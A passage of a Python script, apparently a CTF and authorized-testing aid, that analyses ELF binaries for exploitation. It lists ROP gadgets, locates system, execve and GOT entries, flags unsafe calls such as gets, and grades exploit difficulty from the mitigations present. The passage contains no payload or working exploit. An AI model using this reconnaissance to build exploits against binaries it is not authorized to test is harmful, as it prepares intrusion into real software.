|
||||
|
||||
|
||||
def find_rop_gadgets(binary_path, max_gadgets=20):
|
||||
"""Find ROP gadgets using pwntools or ROPgadget."""
|
||||
if HAS_PWNTOOLS:
|
||||
try:
|
||||
elf = ELF(binary_path, checksec=False)
|
||||
rop = ROP(elf)
|
||||
gadgets = []
|
||||
for gadget in rop.gadgets.values():
|
||||
if len(gadgets) >= max_gadgets:
|
||||
break
|
||||
gadgets.append({
|
||||
"address": hex(gadget.address),
|
||||
"insns": "; ".join(gadget.insns),
|
||||
})
|
||||
return gadgets
|
||||
except Exception as e:
|
||||
return [{"error": str(e)}]
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["ROPgadget", "--binary", binary_path, "--count", str(max_gadgets)],
|
||||
capture_output=True, text=True, timeout=30
|
||||
)
|
||||
gadgets = []
|
||||
for line in result.stdout.splitlines():
|
||||
if " : " in line:
|
||||
parts = line.split(" : ", 1)
|
||||
gadgets.append({"address": parts[0].strip(), "insns": parts[1].strip()})
|
||||
return gadgets[:max_gadgets]
|
||||
except (FileNotFoundError, subprocess.TimeoutExpired):
|
||||
return [{"error": "Neither pwntools ROP nor ROPgadget available"}]
|
||||
|
||||
|
||||
def find_useful_functions(binary_path):
|
||||
"""Find useful functions for exploitation (system, exec, write, etc.)."""
|
||||
if not HAS_PWNTOOLS:
|
||||
return {"error": "pwntools not available"}
|
||||
try:
|
||||
elf = ELF(binary_path, checksec=False)
|
||||
interesting = ["system", "execve", "exec", "popen", "gets", "strcpy",
|
||||
"sprintf", "read", "write", "puts", "printf", "mprotect"]
|
||||
found = {}
|
||||
for func in interesting:
|
||||
addr = elf.sym.get(func) or elf.plt.get(func)
|
||||
if addr:
|
||||
found[func] = hex(addr)
|
||||
got_entries = {}
|
||||
for name in ["system", "printf", "puts", "__libc_start_main"]:
|
||||
if name in elf.got:
|
||||
got_entries[name] = hex(elf.got[name])
|
||||
return {"functions": found, "got_entries": got_entries}
|
||||
except Exception as e:
|
||||
return {"error": str(e)}
|
||||
|
||||
|
||||
def find_vulnerable_functions(binary_path):
|
||||
"""Identify potentially vulnerable functions in the binary."""
|
||||
dangerous = {"gets": "Unbounded read - guaranteed buffer overflow",
|
||||
"strcpy": "No length check - possible overflow",
|
||||
"strcat": "No length check - possible overflow",
|
||||
"sprintf": "No length check - possible overflow",
|
||||
"scanf": "Possible format string / overflow",
|
||||
"vsprintf": "No length check - possible overflow"}
|
||||
if not HAS_PWNTOOLS:
|
||||
return {"error": "pwntools not available"}
|
||||
try:
|
||||
elf = ELF(binary_path, checksec=False)
|
||||
found = []
|
||||
for func, reason in dangerous.items():
|
||||
if func in elf.plt or func in elf.sym:
|
||||
found.append({"function": func, "reason": reason,
|
||||
"address": hex(elf.plt.get(func, elf.sym.get(func, 0)))})
|
||||
return found
|
||||
except Exception as e:
|
||||
return [{"error": str(e)}]
|
||||
|
||||
|
||||
def analyze_binary(binary_path):
|
||||
"""Full binary exploitation analysis."""
|
||||
report = {
|
||||
"binary": binary_path,
|
||||
"timestamp": datetime.datetime.utcnow().isoformat() + "Z",
|
||||
"checksec": run_checksec(binary_path),
|
||||
"dangerous_functions": find_vulnerable_functions(binary_path),
|
||||
"useful_functions": find_useful_functions(binary_path),
|
||||
"rop_gadgets": find_rop_gadgets(binary_path, max_gadgets=15),
|
||||
}
|
||||
mitigations = report["checksec"]
|
||||
if isinstance(mitigations, dict) and "error" not in mitigations:
|
||||
report["exploit_difficulty"] = "HARD" if all([
|
||||
mitigations.get("nx"), mitigations.get("pie"),
|
||||
mitigations.get("canary"), mitigations.get("relro") == "Full"
|
||||
]) else "MEDIUM" if mitigations.get("nx") else "EASY"
|
||||
return report
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Binary exploitation analysis agent (authorized testing only)"
|
||||
)
|
||||
parser.add_argument("binary", nargs="?", help="Path to ELF binary")
|
||||
parser.add_argument("--checksec-only", action="store_true", help="Only run checksec")
|
||||
parser.add_argument("--gadgets", type=int, default=15, help="Max ROP gadgets to find")
|
||||
parser.add_argument("--output", "-o", help="Output JSON report path")
|
||||
args = parser.parse_args()
|
||||
|
||||
print("[*] Binary Exploitation Analysis Agent")
|
||||
print("[*] For authorized security testing and CTF challenges only")
|
||||
print(f" pwntools available: {HAS_PWNTOOLS}")
|
||||
|
||||
if not args.binary:
|
||||
print("\nUsage: python agent.py /path/to/binary [--checksec-only] [--gadgets 20]")
|
||||
print(" Analyzes: mitigations, dangerous functions, ROP gadgets, GOT entries")
|
||||
print(json.dumps({"demo": True, "pwntools": HAS_PWNTOOLS}, indent=2))
|
||||
sys.exit(0)
|
||||
|
||||
if args.checksec_only:
|
||||
result = run_checksec(args.binary)
|
||||
print(json.dumps(result, indent=2))
|
||||
sys.exit(0)
|
||||
|
||||
report = analyze_binary(args.binary)
|
||||
checksec = report.get("checksec", {})
|
||||
if isinstance(checksec, dict) and "error" not in checksec:
|
||||
print(f"\n[*] Architecture: {checksec.get('arch')} ({checksec.get('bits')}-bit)")
|
||||
print(f" NX: {checksec.get('nx')} | PIE: {checksec.get('pie')} | "
|
||||
f"Canary: {checksec.get('canary')} | RELRO: {checksec.get('relro')}")
|
||||
print(f" Exploit difficulty: {report.get('exploit_difficulty', '?')}")
|
||||
|
||||
dangerous = report.get("dangerous_functions", [])
|
||||
if isinstance(dangerous, list) and dangerous:
|
||||
print(f"\n[!] Dangerous functions found: {len(dangerous)}")
|
||||
for d in dangerous:
|
||||
if "error" not in d:
|
||||
print(f" {d['function']} @ {d['address']}: {d['reason']}")
|
||||
|
||||
gadgets = report.get("rop_gadgets", [])
|
||||
if gadgets and "error" not in gadgets[0]:
|
||||
print(f"\n[*] ROP gadgets found: {len(gadgets)}")
|
||||
for g in gadgets[:5]:
|
||||
print(f" {g['address']}: {g['insns']}")
|
||||
|
||||
if args.output:
|
||||
with open(args.output, "w") as f:
|
||||
json.dump(report, f, indent=2)
|
||||
print(json.dumps({"difficulty": report.get("exploit_difficulty", "unknown"),
|
||||
"gadgets": len(gadgets)}, indent=2))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user